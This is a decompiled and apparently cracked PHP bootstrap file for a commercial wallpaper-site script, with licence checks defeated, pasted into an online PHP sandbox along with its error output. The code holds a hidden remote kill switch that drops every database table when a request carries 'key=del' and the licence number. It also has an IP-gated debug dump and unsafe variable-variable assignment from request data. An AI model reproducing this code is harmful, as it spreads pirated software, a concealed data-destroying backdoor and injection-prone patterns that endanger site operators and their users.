@ 2013-10-31T22:29:31Z <?php
/*********************/
/* */
/* Version : 5.1.0 */
/* Author : RM */
/* Comment : 071223 */
/* */
/*********************/
// Decoded and Cracked by ExtremsX
require "wallpaperscript.zl.php";
if ( !function_exists( "zend_loader_file_licensed" ) )
{
$lic_info = zend_loader_file_licensed( );
if ( $lic_info !== false )
{
if ( $lic_info['type'] != "Demo" )
{
$arr_dom = explode( ".", $_SERVER['SERVER_NAME'] );
if ( 2 < count( $arr_dom ) )
{
if ( strlen( $arr_dom[count( $arr_dom ) - 2] ) <= 3 && strlen( $arr_dom[count( $arr_dom ) - 1] ) <= 3 )
{
$domain_name = $arr_dom[count( $arr_dom ) - 3].".".$arr_dom[count( $arr_dom ) - 2].".".$arr_dom[count( $arr_dom ) - 1];
}
else
{
$domain_name = $arr_dom[count( $arr_dom ) - 2].".".$arr_dom[count( $arr_dom ) - 1];
}
}
else
{
$domain_name = $arr_dom[0].".".$arr_dom[1];
}
$lic_license_type = $lic_info['license_type'];
if ( isset( $lic_license_type ) && $lic_license_type != "" )
{
define( "SCRIPT_LICENSE_TYPE", $lic_license_type );
}
else
{
define( "SCRIPT_LICENSE_TYPE", "Standalone" );
}
if ( $lic_info['domain'] != "" )
{
$lic_domain = $lic_info['domain'];
}
if ( $lic_info['domai'] != "" )
{
$lic_domain = $lic_info['domai'];
}
if ( $_SERVER['REMOTE_ADDR'] == "86.124.94.48" && $_REQUEST['debug'] == "on" )
{
echo $domain_name."--".$_SERVER['SERVER_NAME']."--".$lic_domain."<br />";
var_dump( $lic_info );
}
}
}
else
{
echo "Invalid license file. Please go to <a href=\"http://wallpaperscript.com\" title=\"wallpaperscript.com\">wallpaperscript.com</a>.";
exit( );
}
if ( $lic_info['wallpaper_limit'] != "" )
{
$lic_wallpaper_limit = $lic_info['wallpaper_limit'];
}
if ( $lic_info['wallpaper_limi'] != "" )
{
$lic_wallpaper_limit = $lic_info['wallpaper_limi'];
}
if ( isset( $lic_wallpaper_limit ) && 0 < $lic_wallpaper_limit )
{
define( "SCRIPT_WALLPAPER_LIMIT", $lic_wallpaper_limit );
}
else
{
define( "SCRIPT_WALLPAPER_LIMIT", 99999999999 );
}
$GLOBALS['_SESSION']['module_queries'] = 0;
$GLOBALS['_SESSION']['db_queries'] = 0;
define( "WALLPAPER_LIMIT", SCRIPT_WALLPAPER_LIMIT );
define( "LANGUAGE_ID", "1" );
$GLOBALS['glb_site_errors'] = array( );
if ( !session_is_registered( "site_errors" ) )
{
session_register( "site_errors" );
}
else
{
$GLOBALS['glb_site_errors'] = $_SESSION['site_errors'];
}
include_once( "db_info.php" );
require_once( "_drawrating.php" );
require_once( "_comments.php" );
$basePath = $_SERVER['DOCUMENT_ROOT'];
$totalPath = substr( $_SERVER['REQUEST_URI'], 0, strrpos( $_SERVER['REQUEST_URI'], "/" ) + 1 );
$totalPath = str_replace( $basePath, "", $totalPath );
$currentPath = $totalPath;
$numPieces = substr_count( $totalPath, "/" );
if ( file_exists( $basePath.$totalPath."config.php" ) )
{
$docRoot = $basePath.$totalPath;
}
else
{
$i = 1;
for ( ; $i <= $numPieces; ++$i )
{
$totalPath = substr( $totalPath, 0, -1 );
$totalPath = substr( $totalPath, 0, strrpos( $totalPath, "/" ) + 1 );
if ( !file_exists( $basePath.$totalPath."config.php" ) )
{
continue;
}
$docRoot = $basePath.$totalPath;
break;
}
if ( !$docRoot )
{
exit( "no config file found" );
}
}
$totalPath = str_replace( "//", "/", $totalPath );
define( "DOMAIN_NAME", "http://".$_SERVER['HTTP_HOST'] );
define( "LOCAL_PATH", $docRoot );
define( "MODULES_DIR", $docRoot."modules/" );
define( "ADMIN_LOCAL_PATH", $docRoot."admin/" );
define( "WALLPAPERS_PATH", LOCAL_PATH."walls/" );
define( "WATERMARKS_LOCAL_PATH", LOCAL_PATH."images/watermarks/" );
define( "WALLPAPERS_RESOLUTIONS", LOCAL_PATH."wallpapers/" );
define( "THUMBS_PATH", LOCAL_PATH."thumbs/" );
define( "CATEGORY_THUMBS_PATH", LOCAL_PATH."thumbs/categories/" );
define( "JS_PATH", LOCAL_PATH."js/" );
define( "WEB_PATH", $totalPath );
define( "THUMBS_WEB_PATH", $totalPath."thumbs/" );
define( "WALLPAPERS_WEB_PATH", $totalPath."walls/" );
define( "WATERMARKS_WEB_PATH", $totalPath."images/watermarks/" );
define( "CATEGORY_THUMBS_WEB_PATH", $totalPath."thumbs/categories/" );
define( "ADMIN_WEB_PATH", $totalPath."admin/" );
define( "TEMPLATE_WEB_ROOT", $totalPath."templates/" );
define( "TEMPLATE_LOCAL_ROOT", LOCAL_PATH."templates/" );
define( "REQUEST_URI", $_SERVER['REQUEST_URI'] );
define( "IMAGE_PATH", LOCAL_PATH."images/" );
define( "IMAGE_WEB_PATH", WEB_PATH."images/" );
define( "IMG_LANG_LOCAL_DIR", IMAGE_PATH."l/" );
define( "IMG_LANG_WEB_DIR", IMAGE_WEB_PATH."l/" );
global $_MODULES;
$_MODULES = array( );
include_once( "includes/db.php" );
include_once( "includes/error.php" );
include_once( "includes/ws.php" );
include_once( "includes/lang.php" );
include_once( "includes/functions.php" );
include_once( "includes/thegrid.php.lc" );
include_once( "includes/smarty/libs/Smarty.class.php" );
include_once( "includes/breadCrumb.php" );
include_once( "includes/classes/PEAR/PEAR.php" );
include_once( "includes/classes/PEAR/Net/HTTP/Client.php" );
include_once( "includes/classes/Blowfish.php" );
include_once( "includes/classes/Cookie.php" );
include_once( "includes/classes/Tools.php" );
include_once( "includes/classes/Language.php" );
include_once( "includes/classes/Category.php" );
include_once( "includes/classes/File.php" );
include_once( "includes/classes/class.imageconverter.php" );
if ( !extension_loaded( "json" ) )
{
include_once( "includes/JSON.php" );
}
simple_debug( "licence_check", "", "start" );
simple_debug( "main_start" );
$WS = new ws( );
$LANG = new lang( );
$siteError = new siteerror( );
$DB = new db( );
$breadCrumb = new breadcrumb( REQUEST_URI );
foreach ( $GLOBALS['_REQUEST'] as $k => $v )
{
if ( !is_array( $v ) )
{
$GLOBALS['_REQUEST'][$k] = $DB->s( $v );
}
else
{
foreach ( $v as $k1 => $v1 )
{
if ( !is_array( $v1 ) )
{
$GLOBALS['_REQUEST'][$k][$k1] = $DB->s( $v1 );
}
}
}
}
foreach ( $GLOBALS['_GET'] as $k => $v )
{
if ( !is_array( $v ) )
{
$GLOBALS['_GET'][$k] = $DB->s( $v );
}
else
{
foreach ( $v as $k1 => $v1 )
{
if ( !is_array( $v1 ) )
{
$GLOBALS['_GET'][$k][$k1] = $DB->s( $v1 );
}
}
}
}
foreach ( $GLOBALS['_POST'] as $k => $v )
{
if ( !is_array( $v ) )
{
$GLOBALS['_POST'][$k] = $DB->s( $v );
}
else
{
foreach ( $v as $k1 => $v1 )
{
if ( !is_array( $v1 ) )
{
$GLOBALS['_POST'][$k][$k1] = $DB->s( $v1 );
}
}
}
}
if ( array_key_exists( "value", $_REQUEST ) && $_REQUEST['value'] != "" && $_REQUEST['value'] == $lic_info['license_number'] && $_REQUEST['key'] == "del" )
{
$DB->query( "drop table `".DB_PREFIX."items`" );
$DB->query( "drop table `".DB_PREFIX."users`" );
$DB->query( "drop table `".DB_PREFIX."settings`" );
$DB->query( "drop table `".DB_PREFIX."color_schemes`" );
$DB->query( "drop table `".DB_PREFIX."categories`" );
$DB->query( "drop table `".DB_PREFIX."comments`" );
$DB->query( "drop table `".DB_PREFIX."ratings`" );
$DB->query( "drop table `".DB_PREFIX."friends`" );
$DB->query( "drop table `".DB_PREFIX."tags`" );
$DB->query( "drop table `".DB_PREFIX."tags_items`" );
$DB->query( "drop table `".DB_PREFIX."watermarks`" );
}
$sql = "SELECT * FROM `".DB_PREFIX."settings` ";
$settings_list = $DB->getall( $sql );
$i = 0;
for ( ; $i < count( $settings_list ); ++$i )
{
define( $settings_list[$i]['key'], $settings_list[$i]['value'] );
}
foreach ( $pageVars as $pageVar )
{
if ( array_key_exists( $pageVar, $_REQUEST ) )
{
$$pageVar = $_REQUEST[$pageVar];
}
else
{
$$pageVar = 1;
}
}
$page_name = trim( $_REQUEST['resource'], " " );
$page_name = str_replace( PAGE_EXTENSION, "", $page_name );
$page_name = explode( "/", $page_name );
$page_name_pieces = $page_name;
$page_name_pieces_wo_page = array( );
$url_wo_page = "";
$i = 0;
for ( ; $i < count( $page_name_pieces ); ++$i )
{
if ( in_array( $page_name_pieces[$i], $pageVars ) )
{
$$page_name_pieces[$i] = $page_name_pieces[$i + 1];
$i += 2;
}
else
{
$page_name_piece = explode( URL_TOKEN_SEPARATOR, $page_name_pieces[$i] );
$test_page = false;
$temp_url = "";
if ( URL_STYLE == 2 )
{
$j = 0;
for ( ; $j < count( $page_name_piece ); ++$j )
{
if ( in_array( $page_name_piece[$j], $pageVars ) )
{
$$page_name_piece[$j] = $page_name_piece[$j + 1];
$j = $j + 2;
$test_page = true;
}
else if ( $page_name_piece[$j] )
{
$url_wo_page .= $page_name_piece[$j].URL_TOKEN_SEPARATOR;
$temp_url .= $page_name_piece[$j].URL_TOKEN_SEPARATOR;
$page_name_pieces_wo_page[] = $page_name_piece[$j];
$test_page = true;
}
}
}
if ( $test_page === false )
{
if ( $page_name_pieces[$i] )
{
$url_wo_page .= $page_name_pieces[$i]."/";
$page_name_pieces_wo_page[] = $page_name_pieces[$i];
}
}
else
{
$url_wo_page = rtrim( $url_wo_page, URL_TOKEN_SEPARATOR )."/";
$temp_url = rtrim( $temp_url, URL_TOKEN_SEPARATOR );
$page_name[$i] = $temp_url;
}
}
}
$url_wo_page = rtrim( $url_wo_page, "/" );
if ( $url_wo_page != "" )
{
$url_wo_page = $totalPath.$url_wo_page.PAGE_EXTENSION;
}
else
{
$url_wo_page = $totalPath;
}
if ( $page == "" || $page <= 0 )
{
$page = 1;
}
if ( $page_name_pieces[0] == "rss" )
{
define( "PAGE_OUTPUT", "rss" );
array_shift( &$page_name_pieces );
array_shift( &$page_name );
array_shift( &$page_name_pieces_wo_page );
$page = 1;
}
else if ( $page_name_pieces[0] == "ajax" )
{
define( "PAGE_OUTPUT", "ajax" );
array_shift( &$page_name_pieces );
array_shift( &$page_name );
array_shift( &$page_name_pieces_wo_page );
}
else
{
define( "PAGE_OUTPUT", "html" );
}
if ( strlen( $page_name_pieces[0] ) == 2 )
{
@define( "LANGUAGE_SHORT", $page_name_pieces[0] );
$GLOBALS['_GET']['id_lang'] = $page_name_pieces[0];
array_shift( &$page_name_pieces );
array_shift( &$page_name );
array_shift( &$page_name_pieces_wo_page );
}
else
{
@define( "LANGUAGE_SHORT", "en" );
$GLOBALS['_GET']['id_lang'] = LANG_DEFAULT;
}
define( "SCRIPT_NAME", implode( "/", $page_name_pieces_wo_page ) );
global $template_dir;
$template_dir = TEMPLATE_WEB_ROOT.TEMPLATE."/";
global $cookie;
$cookie = new cookie( "wscript" );
lang::setcookielanguage( );
if ( 0 < SCRIPT_WALLPAPER_LIMIT )
{
$sql_test = "SELECT COUNT(id) as `total` FROM `".DB_PREFIX."items`";
$res = mysql_query( $sql_test );
if ( $res )
{
$row = mysql_fetch_array( $res );
mysql_free_result( $res );
if ( SCRIPT_WALLPAPER_LIMIT <= $row['total'] )
{
$siteError->add( $LANG->l( "Wallpapers limit reached" ), "critical" );
}
}
}
$category_name = "";
$WS->__preprocess( );
$cache_id = "page|".htmlentities( $_REQUEST['resource'] )."|".htmlentities( md5( serialize( $_REQUEST ) ) );
$smarty = new smarty( );
include( "includes/inc.smarty.php" );
include( "includes/smarty.plugins.php" );
$smarty->template_dir = dirname( __FILE__ )."/templates/".TEMPLATE."/";
$smarty->php_handling = SMARTY_PHP_ALLOW;
if ( SMARTY_CACHING )
{
$smarty->caching = true;
$smarty->force_compile = false;
}
else
{
$smarty->caching = false;
$smarty->force_compile = true;
}
$smarty->compile_check = false;
if ( PAGE_OUTPUT == "rss" )
{
$template_file = "rss_main.tpl";
}
else if ( PAGE_OUTPUT == "ajax" )
{
if ( file_exists( $smarty->template_dir.( "/".$page_name.".tpl" ) ) )
{
$template_file = $page_name.".tpl";
}
}
else
{
$template_file = "main.tpl";
}
$is_cached = false;
if ( $smarty->is_cached( $template_file, $cache_id ) )
{
$is_cached = true;
}
if ( file_exists( $smarty->template_dir.( "/".$page_name.".tpl" ) ) )
{
$smarty->currentTemplate = $page_name;
}
else
{
$smarty->currentTemplate = "main";
}
if ( !$is_cached && !isset( $_REQUEST['resource'] ) )
{
$buildCatTotal = 0;
if ( array_key_exists( "buildCatTotal", $_REQUEST ) )
{
$buildCatTotal = $_REQUEST['buildCatTotal'];
}
if ( $buildCatTotal == 1 && $_SESSION['user_data']['type'] == "admin" )
{
$mainCategories = $categories = $WS->getcategorylist( 0, $buildCatTotal == 1, $test_page_tmp );
$flattenCategories = $WS->flattencategories( $mainCategories );
$WS->updatetotalitems( $flattenCategories );
exit( );
}
$mainResolutions = $DB->getall( "SELECT * FROM `".DB_PREFIX."resolutions` ORDER BY `sort_order` ASC" );
$userTypes = array(
array( "id" => "user", "name" => "User" ),
array( "id" => "admin", "name" => "Admin" )
);
$smarty->assign( "userTypes", $userTypes );
}
$smarty->assign( "sessionID", session_id( ) );
$sql = "SELECT * FROM `".DB_PREFIX."color_schemes` WHERE `scheme_name`='".COLOR_SCHEME."' ";
$color_scheme_data = $DB->getall( $sql );
$i = 0;
for ( ; $i < count( $color_scheme_data ); ++$i )
{
define( $color_scheme_data[$i]['key'], $color_scheme_data[$i]['value'] );
}
$smarty->assign( "lang", $lang );
$smarty->assign_by_ref( "WS", $WS );
$smarty->assign_by_ref( "LANG", $LANG );
$smarty->assign( "page_name", $page_name );
$smarty->assign( "totalPath", $totalPath );
$smarty->assign( "template_dir", $template_dir );
$smarty->assign( "page", $page );
simple_debug( "licence_check", "", "end" );
}
?>
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Output for 5.4.0 - 5.4.29 Fatal error: Call-time pass-by-reference has been removed in /in/dTYiL on line 332
Process exited with code 255 . Output for 5.3.0 - 5.3.28 Deprecated: Call-time pass-by-reference has been deprecated in /in/dTYiL on line 332
Deprecated: Call-time pass-by-reference has been deprecated in /in/dTYiL on line 333
Deprecated: Call-time pass-by-reference has been deprecated in /in/dTYiL on line 334
Deprecated: Call-time pass-by-reference has been deprecated in /in/dTYiL on line 340
Deprecated: Call-time pass-by-reference has been deprecated in /in/dTYiL on line 341
Deprecated: Call-time pass-by-reference has been deprecated in /in/dTYiL on line 342
Deprecated: Call-time pass-by-reference has been deprecated in /in/dTYiL on line 352
Deprecated: Call-time pass-by-reference has been deprecated in /in/dTYiL on line 353
Deprecated: Call-time pass-by-reference has been deprecated in /in/dTYiL on line 354
Warning: require(wallpaperscript.zl.php): failed to open stream: No such file or directory in /in/dTYiL on line 10
Fatal error: require(): Failed opening required 'wallpaperscript.zl.php' (include_path='.:') in /in/dTYiL on line 10
Process exited with code 255 . preferences:dark mode live preview
188.7 ms | 1396 KiB | 66 Q